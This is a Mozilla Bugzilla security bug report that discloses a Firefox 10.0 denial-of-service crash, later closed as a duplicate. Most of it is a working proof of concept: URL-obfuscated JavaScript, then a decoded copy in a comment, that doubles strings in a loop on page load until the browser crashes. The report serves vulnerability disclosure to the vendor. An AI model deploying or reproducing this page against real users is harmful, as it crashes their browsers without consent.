Closed
Bug 736868
Opened 13 years ago
Closed 12 years ago
Firefox 10.0 DoS and Browser crash (document.write long strings)
Categories
(Firefox :: File Handling, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 609358
People
(Reporter: arihantsarayodha, Unassigned)
References
Details
(Whiteboard: [sg:dos] DUPEME)
Attachments
(1 file)
|
2.72 KB,
text/plain
|
Details |
When a specific crafted html page with java script will do the DoS as well as crash the browser. The POC is below :
<script type="text/javascript">
<!--
document.write(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%74%69%74%6c%65%3e%4f%6f%70%73%20%75%72%20%62%72%6f%77%73%65%72%20%6a%75%73%74%20%64%69%65%64%20%21%21%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%66%75%6e%63%74%69%6f%6e%20%46%54%42%28%29%0d%0a%20%7b%0d%0a%20%20%20%20%76%61%72%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%31%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%34%31%34%31%25%75%34%31%34%31%22%29%3b%0d%0a%20%20%20%20%76%61%72%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%32%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%34%32%34%32%25%75%34%32%34%32%22%29%3b%0d%0a%20%20%20%20%76%61%72%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%33%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%34%33%34%33%25%75%34%33%34%33%22%29%3b%0d%0a%20%20%20%20%76%61%72%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%34%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%34%34%34%34%25%75%34%34%34%34%22%29%3b%0d%0a%20%20%20%20%66%6f%72%28%69%3d%30%3b%20%69%20%3c%3d%20%31%30%30%20%3b%20%2b%2b%69%29%0d%0a%20%7b%0d%0a%20%20%20%20%20%20%20%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%31%2b%3d%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%31%3b%0d%0a%20%20%20%20%20%20%20%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%32%2b%3d%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%32%3b%0d%0a%20%20%20%20%20%20%20%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%33%2b%3d%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%33%3b%0d%0a%20%20%20%20%20%20%20%20%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%34%2b%3d%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%34%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%31%29%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%32%29%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%33%29%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%34%29%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%31%29%3b%0d%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%32%29%3b%0d%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%33%29%3b%0d%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%66%75%63%6b%74%68%65%62%72%6f%77%73%65%72%34%29%3b%0d%0a%7d%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%62%6f%64%79%20%6f%6e%4c%6f%61%64%3d%22%46%54%42%28%29%22%3e%0d%0a%3c%2f%62%6f%64%79%3e%0d%0a%3c%2f%68%74%6d%6c%3e'));
//-->
</script>
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Comment 1•13 years ago
|
||
The unescaped string is:
/*
<html>
<title>Oops ur browser just died !!</title>
<head>
<script>
function FTB()
{
var fuckthebrowser1 = unescape("%u4141%u4141");
var fuckthebrowser2 = unescape("%u4242%u4242");
var fuckthebrowser3 = unescape("%u4343%u4343");
var fuckthebrowser4 = unescape("%u4444%u4444");
for(i=0; i <= 100 ; ++i)
{
fuckthebrowser1+=fuckthebrowser1;
fuckthebrowser2+=fuckthebrowser2;
fuckthebrowser3+=fuckthebrowser3;
fuckthebrowser4+=fuckthebrowser4;
document.write(fuckthebrowser1);
document.write(fuckthebrowser2);
document.write(fuckthebrowser3);
document.write(fuckthebrowser4);
}
document.write(fuckthebrowser1);
document.write(fuckthebrowser2);
document.write(fuckthebrowser3);
document.write(fuckthebrowser4);
}
</script>
</head>
<body onLoad="FTB()">
</body>
</html>
*/
Summary: Firefox 10.0 DoS and Browser crash → Firefox 10.0 DoS and Browser crash (document.write long strings)
Whiteboard: DUPEME
|
||
Updated•13 years ago
|
Group: core-security
Whiteboard: DUPEME → [sg:dos] DUPEME
|
||
Updated•12 years ago
|
Status: NEW → RESOLVED
Closed: 12 years ago
Resolution: --- → DUPLICATE
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Description
•